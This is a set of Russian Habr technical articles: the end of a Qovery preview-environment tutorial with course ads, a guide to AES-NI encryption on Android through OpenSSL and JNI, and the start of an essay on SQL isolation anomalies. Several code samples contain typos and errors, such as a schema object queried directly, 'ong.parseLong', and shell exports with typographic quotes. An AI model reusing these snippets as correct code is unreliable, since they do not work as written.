1. Развёртываем фронтенд. Для этого нажимаем `Add my first application` («Добавить моё первое приложение»), выбираем правильный репозиторий, режим сборки `Docker` и указываем порт `3000`.. Корневой путь приложения — `/frontend`.
2. Добавляем `MongoDB` для бэкенда. Нажимаем кнопку `Add` («Добавить») на консоли среды Qovery.
3. Развёртываем бэкенд. Для этого нажимаем `Add` → `Application` («Приложение»), выбираем корневой путь приложения `/backend`, порт `8080` и режим сборки `Docker`.
Для подключения к БД добавим в настройках `Environment Variable` («Переменной среды») `DATABASE_URL` — это будет внутренний адрес Mongo:
Также в клиентской части приложения создадим алиас `API_ROOT`, который будет указывать на внешний URL бэкенда:
Вот и всё. Теперь развёртываем эксплуатационную среду. Через несколько минут переходим в клиентскую часть приложения, нажимаем `Open` («Открыть») и перенаправляемся в коллекцию изображений:
Включение сред предварительного просмотра
-----------------------------------------
Включим жту функцию для серверной части приложения. Для этого переходим в Environment («Среда») → Settings («Настройки») → Preview Env («Среда предварительного просмотра») и отмечаем чекбокс backend:
Функция включена. Чтобы увидеть её в действии, отредактируем код в серверной части.
Тестирование сред предварительного просмотра
--------------------------------------------
Подключаемся к MongoDB:
```
const databaseUrl = process.env.DATABASE_URL
|| 'mongodb://localhost:27017/test';
const imageSchema = new mongoose.Schema({
title: String,
size: String,
source: String
});
mongoose.connect(databaseUrl);
router.get('/', (req, res) => {
imageSchema.find().then((data) => {
res.json(
data
)
});
});
```
Создадим новую ветку в репозитории и пул-реквест для ветки master. Чтобы безопасно протестировать только что сделанные изменения. С помощью функции сред предварительного просмотра будет развёрнута новая среда:
Теперь при отображении сред в проекте мы увидим, что для пул-реквеста развёртывается новая среда:
Причём со всеми необходимыми ресурсами: базой данных, бэкендом и фронтендом. Теперь можно тестировать изменения в полной изоляции от производственной среды, избегая ручной настройки:
Что такое «Cреда предварительного просмотра»?
---------------------------------------------
Функцию среды предварительного просмотра можно включить (или отключить) для каждого приложения. Чтобы изолированно тестировать новые изменения из пул-реквеста создаётся полная копия среды, чтобы вы могли протестировать изменения в PR отдельно. После открытия пул-реквеста серверная часть, клиентская часть и базы данных развёртываются в совершенно новой среде. При обновлении пул-реквеста все новые изменения также отображаются в этой среде — во время просмотра их можно протестировать и устранить проблемы.
В Qovery управление всеми переменными среды и создание новых алиасов происходит так, как будто вы работаете в производственной среде. Всё тестируется изолированно и автоматически. После принятия пул-реквеста Qovery автоматически очищает среду предварительного просмотра.
Тестирование сред предварительного просмотра. Часть вторая
----------------------------------------------------------
Через несколько минут среда предварительного просмотра должна быть запущена и готова к работе. Переходим в клиентскую часть приложения и нажимаем `Open`. В коллекции изображений будет пустой список, так как в базе данных ещё нет информации об изображениях. Добавим её, подключившись к экземпляру Mongo через интерфейс командной строки. Учётные данные найдёте в Database Overview:
После подключения добавляем данные об изображениях, выполнив этот код:
```
db.createCollection("images")
db.images.insert([
{
title: 'IMG_4985.HEIC',
size: '3.9 MB',
source:
'https://images.unsplash.com/photo-1582053433976-25c00369fc93?ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&ixlib=rb-1.2.1&auto=format&fit=crop&w=512&q=80',
},
{
title: 'IMG_4985.HEIC',
size: '3.9 MB',
source:
'https://images.unsplash.com/photo-1582053433976-25c00369fc93?ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&ixlib=rb-1.2.1&auto=format&fit=crop&w=512&q=80',
},
{
title: 'IMG_4985.HEIC',
size: '3.9 MB',
source:
'https://images.unsplash.com/photo-1582053433976-25c00369fc93?ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&ixlib=rb-1.2.1&auto=format&fit=crop&w=512&q=80',
}
])
```
Открыв клиентскую часть приложения в среде предварительного просмотра, мы увидим все изображения, данные о которых поместили в базу. Похоже, функция работает хорошо. Теперь выполним слияние пул-реквеста с веткой master:
После него среда предварительного просмотра автоматически очищается:
Отлично сработано. Благодаря средам предварительного просмотра Qovery мы разработали новую функцию полностью изолированно от производственной среды, протестировали эту функцию в реальной среде, развёрнутой в облаке, ни секунды не потратив на подготовку среды к тестам.
Заключение
----------
Мы прошли процесс комплексной разработки приложения с фронтендом, бэкендом и базой данных; включили функцию среды предварительного просмотра, чтобы быстрее разрабатывать новые функции. Также мы узнали о преимуществах сред предварительного просмотра и о том, как их использовать и интегрировать в рабочий процесс разработки.
Qovery [на Github](https://github.com/Qovery).
Продолжить изучение Fullstack-разработки и развёртывания приложений вы сможете на наших курсах.
* [Профессия Fullstack-разработчик на Python (15 месяцев)](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_201221&utm_term=conc)
* [Курс по DevOps (6 месяцев)](https://skillfactory.ru/devops-ingineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_201221&utm_term=conc)
[Узнайте подробности](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_201221&utm_term=conc) акции.
Другие профессии и курсы**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_201221&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_201221&utm_term=cat)
* [Курс «Математика для Data Science»](https://skillfactory.ru/matematika-dlya-data-science#syllabus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mat_201221&utm_term=cat)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/matematika-i-machine-learning-dlya-data-science?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_201221&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/data-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_201221&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/machine-learning-i-deep-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_201221&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/machine-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_201221&utm_term=cat)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_201221&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_201221&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_201221&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_201221&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/ios-razrabotchik-s-nulya?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_ios_201221&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_201221&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_201221&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer-testirovshik-po?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_201221&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_201221&utm_term=cat)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-razrabotchik-na-unity-i-c-sharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_201221&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algoritmy-i-struktury-dannyh?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_201221&utm_term=cat)
* [Профессия C++ разработчик](https://skillfactory.ru/c-plus-plus-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_201221&utm_term=cat)
* [Профессия Этичный хакер](https://skillfactory.ru/cyber-security-etichnij-haker?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_201221&utm_term=cat)
**А также**
* [Курс по DevOps](https://skillfactory.ru/devops-ingineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_201221&utm_term=cat)
* [Все курсы](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_201221&utm_term=cat) | https://habr.com/ru/post/596675/ | null | ru | null |
# Шифрование и расшифровка — обращение к API OpenSSL с помощью вызовов JNI
В этом блоге перечисляются действия по интеграции инструкций Intel AES-NI в приложение Android с помощью библиотеки OpenSSL. Выполнив приведенную здесь инструкцию, вы сможете создать приложение JNI, использующее ускорение AES-NI.
Новые инструкции шифрования стандарта AES (Intel AES-NI)
--------------------------------------------------------
Инструкции Intel AES-NI были предложены в марте 2008 г. в качестве расширения набора инструкций архитектуры х86 для микропроцессоров Intel. Цель этого набора инструкций состоит в повышении производительности, безопасности и энергоэффективности приложений, выполняющих шифрование и расшифровку данных по стандарту AES.
Использование Intel AES-NI в Android
------------------------------------
Алгоритмы AES в составе библиотеки OpenSSL продемонстрировали существенно более высокую производительность по сравнению с нативными алгоритмами Java. Причина в том, что эта библиотека оптимизирована для процессоров Intel и использует инструкции AES-NI. Ниже приводится пошаговое описание шифрования файла с помощью провайдера OpenSSL.
Начиная с Android 4.3, в OpenSSL в AOSP присутствует поддержка Intel AES-NI, поэтому вам достаточно скомпилировать код с нужной конфигурацией. Также можно загрузить его с официального веб-сайта и скомпилировать самостоятельно, а затем использовать файл \*.a/\*.so напрямую в вашем проекте. Получить библиотеки шифрования можно двумя способами.
Если у вас нет исходного кода AOSP, можно загрузить OpenSSL [здесь](http://www.openssl.org/source/). Используйте последнюю версию, чтобы избежать всех известных уязвимостей, обнаруженных в прежних версиях OpenSSL. AOSP включает интегрированную библиотеку openssl, которую можно поместить в папку jni приложения для доступа к входящим в ее состав папкам.
Если вы загружаете исходный код openssl для самостоятельной компиляции и создания библиотеки, используйте следующее.
1. Загрузите исходный код:
wget <https://www.openssl.org/source/openssl-1.0.1j.tar.gz>.
2. Компилируйте: выполните следующую команду в консоли (обратите внимание, что нужно задать для переменной NDK полный путь к вашему дистрибутиву):
```
export NDK=~/android-ndk-r9d
export TOOL=arm-linux-androideabi
export NDK_TOOLCHAIN_BASENAME=${TOOLCHAIN_PATH}/${TOOL}
export CC=$NDK_TOOLCHAIN_BASE-gcc
export CXX=$NDK_TOOLCHAIN_BASENAME-g++
export LINK=${CXX}
export LD=$NDK_TOOLCHAIN_BASENAME-ld
export AR=$NDK_TOOLCHAIN_BASENAME-ar
export STRIP=$NDK_TOOLCHAIN_BASENAME-strip
export ARCH_FLAGS=”-march=armv7-a –mfloat-abi=softfp –mfpu=vfpv3-d16”
export ARCH_LINK=”-march=armv7-a –Wl, --flx-cortex-a”
export CPPFLAGS=”${ARCH_FLAGS} –fpic –ffunction-sections –funwind-tables –fstack-protector –fno-strict-aliasing –finline-limited=64”
export LDFLAGS=”${ARCH_LINK”}
export CXXFLAGS=”${ ARCH_FLAGS} –fpic –ffunction-sections –funwind-tables –fstack-protector –fno-strict-aliasing –finline-limited=64 –frtti –fexceptions”
cd $OPENSSL_SRC_PATH
export CC=”$STANDALONE_TOOCHAIN_PATH/bin/i686-linux-android-gcc –mtune=atome –march=atom –sysroot=$STANDALONE_TOOCHAIN_PATH/sysroot”
export AR=$STANDALONE_TOOCHAIN_PATH/bin/i686-linux-android-ar
export RANLIB=$STANDALONE_TOOCHAIN_PATH/bin/i686-linux-android-ranlib
./Configure android-x86 –DOPENSSL_IA32_SSE2 –DAES_ASM –DVPAES_ASM
make
```
После этого файл libcrypto.a появится в папке верхнего уровня. Для использования файла \*.so введите Configure shared android-x86 \*\*\*.
При наличии исходного кода AOSP цепочка инструментов ndk не нужна.
```
source build/envsetiup.sh
lunch
make –j8
cd external/openssl
mm
```
При этом libcrypto.a компилируется и помещается в каталог out/host/linux\_x86/bin.
Используйте OpenSSL через NDK в проекте Android
Создайте проект Android для шифрования файлов в вашей любимой среде разработки. Здесь рассматривается пример с Eclipse.
1. Объявите функции, связанные с OpenSSL, как native function в файле Android.mk.
2. Создайте папку jni в исходном проекте Android.
3. Создайте заранее скомпилированные папки include внутри папки jni.
4. Включите папку библиотеки OpenSSL, созданную в , в папку jni.
5. Затем реализуйте шифрование, написав функцию C в jni/\*.c. После этого нужно скопировать файлы \*.a/\*.so и файл заголовка в проект.
6. Загрузите библиотеку и реализацию на C в папку jni, в функции класса android, созданного на шаге 1 в виде системной библиотеки.
В приведенном ниже разделе описывается, как включить библиотеку OpenSSL в приложение и вызвать ее в классе java.
Создайте в Eclipse новый проект, например EncryptFileOpenSSL. Либо с помощью eclipse (щелкните правой кнопкой мыши имя проекта в обозревателе проектов), либо с помощью терминала создайте папку jni, а внутри нее — две вложенные папки: pre-compiled и include.
С помощью терминала:
```
cd
mkdir jni/pre-compiled/
mkdir jni/include
cp $OPENSSL\_PATH/libcrypto.a jni/pre-compiled
cp –L -rf $OPENSSL\_PATH/include/openssl jni/include
gedit jni/Android.mk
```
Затем добавьте следующую строку в файл jni/Android.mk:
```
…
LOCAL_MODULE := static
LOCAL_SRC_FILES := pre-compiled/libcrypto.a
…
LOCAL_C_INCLUDES := include
LOCAL_STATIC_LIBRARIES := static –lcrypto
…
```
Затем можно использовать функции, предоставленные в OpenSSL, для реализации ваших функций encrypt/decrypt/SSL. Чтобы использовать Intel AES-NI, используйте функцию серии EVP\_\*, как показано ниже. При этом аппаратный модуль Intel AES-NI будет автоматически задействован для шифрования и расшифровки AES, если ЦП это поддерживает. Например, при создании класса для шифрования файлов с помощью провайдера OpenSSL функция шифрования в классе \*.java будет выглядеть так (этот исходный код взят из блога Кристофера Берда под названием [Образец кода: приложение для шифрования данных](https://software.intel.com/en-us/android/articles/sample-code-data-encryption-application)).
```
public long encryptFile(String encFilepath, String origFilepath) {
File fileIn = new File(origFilepath);
if (fileIn.isFile()) {
ret = encodeFileFromJNI(encFilepath, origFilepath);
} else {
Log.d(TAG, "ERROR*** File does not exist:" + origFilepath);
seconds = -1;
}
if (ret == -1) {
throw new IllegalArgumentException("encrypt file execution did not succeed.");
}
}
/* native function available from encodeFile library */
public native int encodeFileFromJNI(String fileOut, String fileIn);
public native void setBlocksizeFromJNI(int blocksize);
public native byte[] generateKeyFromJNI(int keysize);
/* To load the library that encrypts (encodeFile) on application startup.
* The Package manager would have alredy unpacked the library has into /data/data/com.example.openssldataencryption/lib/libencodeFile.so
* at installation time.
*/
static {
System.loadLibrary("crypto");
System.loadLibrary("encodeFile");
}
```
Функция шифрования в файле encodeFile.cpp, который мы загрузили с помощью System.loadLibrary, будет такой:
```
int encodeFile(const char* filenameOut, const char* filenameIn) {
int ret = 0;
int filenameInSize = strlen(filenameIn)*sizeof(char)+1;
int filenameOutSize = strlen(filenameOut)*sizeof(char)+1;
char filename[filenameInSize];
char encFilename[filenameOutSize];
// create key, if it's uninitialized
int seedbytes = 1024;
memset(cKeyBuffer, 0, KEYSIZE );
if (!opensslIsSeeded) {
if (!RAND_load_file("/dev/urandom", seedbytes)) {
//__android_log_print(ANDROID_LOG_ERROR, TAG, "Failed to seed OpenSSL RNG");
return -1;
}
opensslIsSeeded = 1;
}
if (!RAND_bytes((unsigned char *)cKeyBuffer, KEYSIZE )) {
//__android_log_print(ANDROID_LOG_ERROR, TAG, "Faled to create OpenSSSL random integers: %ul", ERR_get_error);
}
strncpy(encFilename, filenameOut, filenameOutSize);
encFilename[filenameOutSize-1]=0;
strncpy(filename, filenameIn, filenameInSize);
filename[filenameInSize-1]=0;
EVP_CIPHER_CTX *e_ctx = EVP_CIPHER_CTX_new();
FILE *orig_file, *enc_file;
printf ("filename: %s\n" ,filename );
printf ("enc filename: %s\n" ,encFilename );
orig_file = fopen( filename, "rb" );
enc_file = fopen ( encFilename, "wb" );
unsigned char *encData, *origData;
int encData_len = 0;
int len = 0;
int bytesread = 0;
/**
* ENCRYPT
*/
//if (!(EVP_EncryptInit_ex(e_ctx, EVP_aes_256_cbc(), NULL, key, iv ))) {
if (!(EVP_EncryptInit_ex(e_ctx, EVP_aes_256_cbc(), NULL, cKeyBuffer, iv ))) {
ret = -1;
printf( "ERROR: EVP_ENCRYPTINIT_EX\n");
}
// go through file, and encrypt
if ( orig_file != NULL ) {
origData = new unsigned char[aes_blocksize];
encData = new unsigned char[aes_blocksize+EVP_CIPHER_CTX_block_size(e_ctx)]; // potential for encryption to be 16 bytes longer than original
printf( "Encoding file: %s\n", filename);
bytesread = fread(origData, 1, aes_blocksize, orig_file);
// read bytes from file, then send to cipher
while ( bytesread ) {
if (!(EVP_EncryptUpdate(e_ctx, encData, &len, origData, bytesread))) {
ret = -1;
printf( "ERROR: EVP_ENCRYPTUPDATE\n");
}
encData_len = len;
fwrite(encData, 1, encData_len, enc_file );
// read more bytes
bytesread = fread(origData, 1, aes_blocksize, orig_file);
}
// last step encryption
if (!(EVP_EncryptFinal_ex(e_ctx, encData, &len))) {
ret = -1;
printf( "ERROR: EVP_ENCRYPTFINAL_EX\n");
}
encData_len = len;
fwrite(encData, 1, encData_len, enc_file );
// free cipher
EVP_CIPHER_CTX_free(e_ctx);
// close files
printf( "\t>>\n");
fclose(orig_file);
fclose(enc_file);
} else {
printf( "Unable to open files for encoding\n");
ret = -1;
return ret;
}
return ret;
}
```
Затем используем ndk-build для компиляции в .
*//ndk-build APP\_ABI=x86*
Скопируйте папку *//include/openssl* внутрь папки */jni/*.
Файлы \*.so/\*.a должны находиться в *//libs/x86/* или *//libs/armeabi/*.
Файл encode.cpp, используемый для шифрования и расшифровки, должен находиться в папке */jni/*.
Анализ производительности
-------------------------
Следующие функции позволяют проанализировать использование ЦП, использование памяти и время, затраченное на шифрование сообщения. Этот исходный код также взят из блога Кристофера Берда.
#### **Использование ЦП**
Приведенный ниже код помогает прочесть данные о средней нагрузке на ЦП, хранящиеся в /proc/stat.
```
public float readCPUusage() {
try {
RandomAccessFile reader = new RandomAccessFile("/proc/stat", "r");
String load = reader.readLine();
String[] toks = load.split(" ");
long idle1 = Long.parseLong(toks[5]);
long cpu1 = Long.parseLong(toks[2]) + Long.parseLong(toks[3])
+ Long.parseLong(toks[4]) + Long.parseLong(toks[6])+ Long.parseLong(toks[7]) +Long.parseLong(toks[8]);
try {
Thread.sleep(360);
} catch (Exception e) {
}
reader.seek(0);
load = reader.readLine();
reader.close();
toks = load.split(" ");
long idle2 = Long.parseLong(toks[5]);
long cpu2 = Long.parseLong(toks[2]) + Long.parseLong(toks[3])+ Long.parseLong(toks[4]) + Long.parseLong(toks[6])
+ Long.parseLong(toks[7]) + ong.parseLong(toks[8]);
return (float) (cpu2 - cpu1) / ((cpu2 + idle2) - (cpu1 + idle1));
} catch (IOException ex) {
ex.printStackTrace();
}
return 0;
}
```
#### **Использование памяти**
Приведенный ниже фрагмент кода считывает доступный объем системной памяти.
Memory Info — это API Android, позволяющий получать информацию о доступной памяти.
Итак,1024 байта = 1 КБ, а 1024 КБ = 1 МБ. Поэтому, чтобы преобразовать доступную память в мегабайты: 1024\*1024 == 1048576
```
public long readMem(ActivityManager am) {
MemoryInfo mi = new MemoryInfo();
am.getMemoryInfo(mi);
long availableMegs = mi.availMem / 1048576L;
return availableMegs;
}
Анализ времени
start = System.currentTimeMillis();
// Perform Encryption.
stop = System.currentTimeMillis();
seconds = (stop - start);
```
Дополнительные сведения об оптимизации компиляторов см. в нашем [уведомлении об оптимизации](https://software.intel.com/en-us/articles/optimization-notice#opt-en). | https://habr.com/ru/post/255525/ | null | ru | null |
# От Isolation к Consistency — дорога длиной в 30 лет
Участвую в стартапе, в котором разрабатывается СУБД нового типа (работает поверх некоторых kv-движков, кардинально расширяя их возможности, про это немного можно прочитать [здесь](https://career.habr.com/vacancies/1000110099)). Для того, чтобы сравнить то, что понемногу получается, с тем, что имеется в индустрии, пришлось на глубоком уровне проработать первоисточники по темам Isolation и Consistency (уточню, что имеется ввиду не та `Consistency`, что в `ACID`). Обнаружил интересные нюансы, которые и излагаю в этой статье.
Тезисно:
* Термин Phantom Read является продуктом испорченного телефона
* Смысл понятий Lost Update, Write Skew и Read Skew для разделения уровней изоляций неочевиден и относителен
* Движок, который обеспечивает уровень изоляции Serializable, в распределённом мире может вести себя весьма причудливо, например, **всегда** возвращать пустой результат для read-only транзакций — и ему за это по стандарту "ничего не будет"
* Strong consistency в Cosmos DB — предел мечтаний? (спойлер: нет)
Ну, и ещё кое-что по мелочи. В конце рассмотрим вот такой венец творения человеческого разума:
Содержание
==========
* [SQL-92](#sql-92)
* [SQL-92?](#sql-92-1)
+ [P0 (Dirty Write)](#p0-dirty-write)
+ [P1 (Dirty Read)](#p1-dirty-read)
+ [P2 (Fuzzy or Non-Repeatable Read))](#p2-fuzzy-or-non-repeatable-read)
+ [P3 (Phantom)](#p3-phantom)
+ [P4 (Lost Update)](#p4-lost-update)
+ [P4C (Cursor Lost Update)](#p4c-cursor-lost-update)
+ [A5A (Read Skew)](#a5a-read-skew)
+ [A5B (Write Skew)](#a5b-write-skew)
+ [A5B (Write Skew)](#a5b-write-skew)
+ [Уровень изоляции Snapshot](#snapshot-isolation)
* [D. Abadi: Introduction to Transaction Isolation Levels](#d-abadi-introduction-to-transaction-isolation-levels)
* [D. Abadi: Correctness Anomalies Under Serializable Isolation](#d-abadi-correctness-anomalies-under-serializable-isolation)
* [Consistency levels in Azure Cosmos DB](#consistency-levels-in-azure-cosmos-db)
* [jepsen.io: Consistency Models](#jepsenio-consistency-models)
* [Заключение](#conclusion)
* [Ссылки](#references)
SQL-92
======
Тридцать лет назад появился документ [ISO/IEC 9075:1992, Database Language SQL- July 30, 1992](https://www.contrib.andrew.cmu.edu/~shadow/sql/sql1992.txt) (далее SQL-92). Посмотрим, что там есть интересного, в рамках этой статьи.
Определяются три феномена:
```
1) P1 ("Dirty read"): SQL-transaction T1 modifies a row. SQL-
transaction T2 then reads that row before T1 performs a COMMIT.
If T1 then performs a ROLLBACK, T2 will have read a row that was
never committed and that may thus be considered to have never
existed.
2) P2 ("Non-repeatable read"): SQL-transaction T1 reads a row. SQL-
transaction T2 then modifies or deletes that row and performs
a COMMIT. If T1 then attempts to reread the row, it may receive
the modified value or discover that the row has been deleted.
3) P3 ("Phantom"): SQL-transaction T1 reads the set of rows N
that satisfy some . SQL-transaction T2 then
executes SQL-statements that generate one or more rows that
satisfy the used by SQL-transaction T1. If
SQL-transaction T1 then repeats the initial read with the same
, it obtains a different collection of rows.
```
Пока ничего интересного, за исключением того, что `Phantom Read`, на самом деле, надо называть просто `Phantom`.
Стандарт определяет уровень изоляции SERIALIZABLE:
> The execution of concurrent SQL-transactions at isolation level SERIALIZABLE is guaranteed to be serializable. A serializable execution is defined to be an execution of the operations of concur rently executing SQL-transactions that produces the same effect as some serial execution of those same SQL-transactions. A serial execution is one in which each SQL-transaction executes to completion before the next SQL-transaction begins.
Иными словами, SERIALIZABLE означает выполнение транзакций таким образом, что эффект эквивалентен их некоторому последовательному выполнению. Как мы увидим далее, строгое следование такому определению имеет весьма тяжёлые последствия в распределённых системах (и не только в них).
Кроме того, в стандарте можно найти удивительный тезис:
```
Significant new features are:
...
15)Support for transaction consistency levels,
```
Удивительный он потому, что далее в тексте нет ничего про `transaction consistency levels`, по всей видимости, авторы имели ввиду "SQL-transaction isolation levels". Тем не менее, отметим смешение понятий Сonsistency и Isolation.
Идём дальше.
SQL-92?
=======
[A Critique of ANSI SQL Isolation Levels, Jun 1995, Microsoft Research](https://arxiv.org/ftp/cs/papers/0701/0701157.pdf) — совместная работа Microsoft, Sybase и UMass (University of Massachusetts Amherst), опубликованная в 1995 году. В ней авторы критикуют ANSI X3.135-1992 ([он же ISO 9075:1992](https://www.ibm.com/docs/en/informix-servers/14.10?topic=overview-compliance-industry-standards)) и предлагают улучшения и дополнения. Несмотря на почтенный возраст, работа ключевая, именно её определения постоянно используют и пересказывают (например, [тут](https://habr.com/ru/company/otus/blog/501294/)).
Авторы предлагают весьма полезную нотацию:
> Histories consisting of reads, writes, commits, and aborts can be written in a shorthand notation: “w1[x]” means a write by transaction 1 on data item x (which is how a data item is “modified’), and “r2[x]” represents a read of x by transaction 2. Transaction 1 reading and writing a set of records satisfying predicate P is denoted by r1[P] and w1[P] respectively. Transaction 1’s commit and abort (ROLLBACK) are written “c1” and “a1”, respectively.
Эта нотация используется во многих академических работах, и я предпочитаю работать именно с ней, а не с картинками произвольного формата.
Авторы отказываются называть ранее определенные феномены "феноменами", давая им название "аномалии", и дают такую формализацию в своей нотации:
| Anomaly | History |
| --- | --- |
| A1 (Dirty Read) | `w1[x]...r2[x]...(a1 and c2 in either order)` |
| A2 (Fuzzy or Non-Repeatable Read) | `r1[x]...w2[x]...c2...r1[x]...c1` |
| A3 (Phantom) | `r1[P]...w2[y in P]...c2...r1[P]...c1` |
Под феноменами подразумеваются истории более общего характера, которые **могут** привести к аномалиям, и, соответственно, они должны исключаться "на корню" движками БД. Работа (пере)определяет шесть феноменов и вводит две новых аномалии:
* P0 (Dirty Write)
* P1 (Dirty Read)
* P2 (Fuzzy or Non-Repeatable Read)
* P3 (Phantom)
* P4 (Lost Update)
* P4C (Cursor Lost Update)
* A5A (Read Skew)
* A5B (Write Skew)
Этот список кочует из статьи в статью с различными искажениями, сокращениями и дополнениями. Чтобы перестать играть в "испорченный телефон", кратко рассмотрим, как всё обстоит на самом деле.
P0 (Dirty Write)
----------------
Этот феномен отсутствует в SQL-92, определяется так:
```
w1[x]...w2[x]...((c1 or a1) and (c2 or a2) in any order)
```
Т.е. нельзя менять то, что кто-то сейчас меняет. Такая история (феномен) может привести к аномалии:
```
w1[x=1]...w2[x=2]...w2[y=2]...c2...w1[y=1]...c1
```
* На базу наложено ограничение целостности x == y
* Первая транзакция записывает в x и y значение `1`, вторая — значение `2`
* В результате x == 2, y == 1, что нехорошо
* Авторы считают, что любой уровень изоляции из SQL-92 должен исключать Dirty Write
P1 (Dirty Read)
---------------
Формализация определения из стандарта:
```
A1: w1[x]...r2[x]...(a1 and c2 in either order)
```
Т.е. первая транзакция пишет в `x` и далее непременно должна откатиться, тем самым оставляя вторую с аномальным результатом чтения.
Критики утверждают, что на вопрос надо смотреть шире:
```
P1: w1[x]...r2[x]...(c1 or a1)
```
Нельзя читать то, что кто-то одновременно пишет, независимо от успешности пишущей транзакции. Почему так? Переводим 40 между счетами, на каждом исходно по 50, одновременно читая остатки на счетах:
```
H1: r1[x=50]...w1[x=10]...r2[x=10]...r2[y=50]...c2...r1[y=50]...w1[y=90]...c1
```
* T2 получает аномальный баланс 60
* Историю невозможно сериализовать, т.е. не существует последовательности из заданных транзакций, которая даёт такой же результат
* История не содержит никаких феноменов из SQL-92
Как можно убедиться в истинности последнего утверждения?
* A1 требует отката транзакции — в истории отсутствует
* A2 требует двойного чтения одной и той же переменной — в истории отсутствует
* A3 требует операции над множеством — в истории отсутствует
Ч.Т.Д. (ну, или Q.E.D. — кому что милее).
В общем, — "резать, не дожидаясь перитонита". Замечу, что в приводимой ранее [статье](https://habr.com/ru/company/otus/blog/501294/) в качестве Dirty Read рассматривается аномалия, а не феномен.
P2 (Fuzzy or Non-Repeatable Read)
---------------------------------
Формализация определения из стандарта:
```
A2: r1[x]...w2[x]...c2...r1[x]...c1
```
Т.е. первая транзакция читает значение, вторая его "портит" и завершается, затем первая повторяет чтение, получая результат, отличный от результата первого чтения.
Критики утверждают, что на вопрос надо смотреть шире:
```
P2: r1[x]...w2[x]...(c1 or a1)
```
Т.е. нельзя менять то, что кто-то читает. Вторая транзакция вроде как не мешает первой, Non-Repeatable Read отсутствует, в чем проблема?! Опять с переводом денег:
```
H2: r1[x=50]...r2[x=50]...w2[x=10]...r2[y=50]...w2[y=90]...c2...r1[y=90]...c1
```
* T1 получает аномальный баланс 140
* Историю невозможно сериализовать
* История не содержит феноменов из SQL-92
P3 (Phantom)
------------
То, что ошибочно называют Phantom Read. Формализация определения из стандарта:
```
A3: r1[P]...w2[y in P]...c2...r1[P]...c1
```
Т.е. читаем множество P, затем его "портим" и повторно читаем "порченное". "Попортить" можно как вставкой нового элемента, в результате чего он пополнит собой множество, так и обновлением существующего, так что он "перейдет" в множество.
Критики утверждают, что на вопрос надо смотреть шире:
```
P3: r1[P]...w2[y in P]...(c1 or a1)
```
* Аргументация та же, что и для P2
P4 (Lost Update)
----------------
В стандарте отсутствует, предлагается такая формулировка:
```
P4: r1[x=1]...w2[x=10]...w1[x=1+1]...c1
```
Тут Т1 "перетирает" записанное T2 значение.
* В таком виде смысла не имеет, так как содержит в себе феномен P0 (Dirty Write, `w2[x=10]...w1[x=1+1]`), который, по замыслу авторов, должен исключаться любым уровнем изоляции
* Можно переписать так: `r1[x=1]...w2[x=10]...c2...w1[x=1+1]...c1`
* Теперь внутри P2: `r1[x=1]...w2[x=10]`
* Неочевидный нюанс — нестандартный уровень изоляции Snapshot предотвращает P4, но не P2 (см. далее)
P4C (Cursor Lost Update)
------------------------
В стандарте отсутствует, предлагается такая формулировка:
```
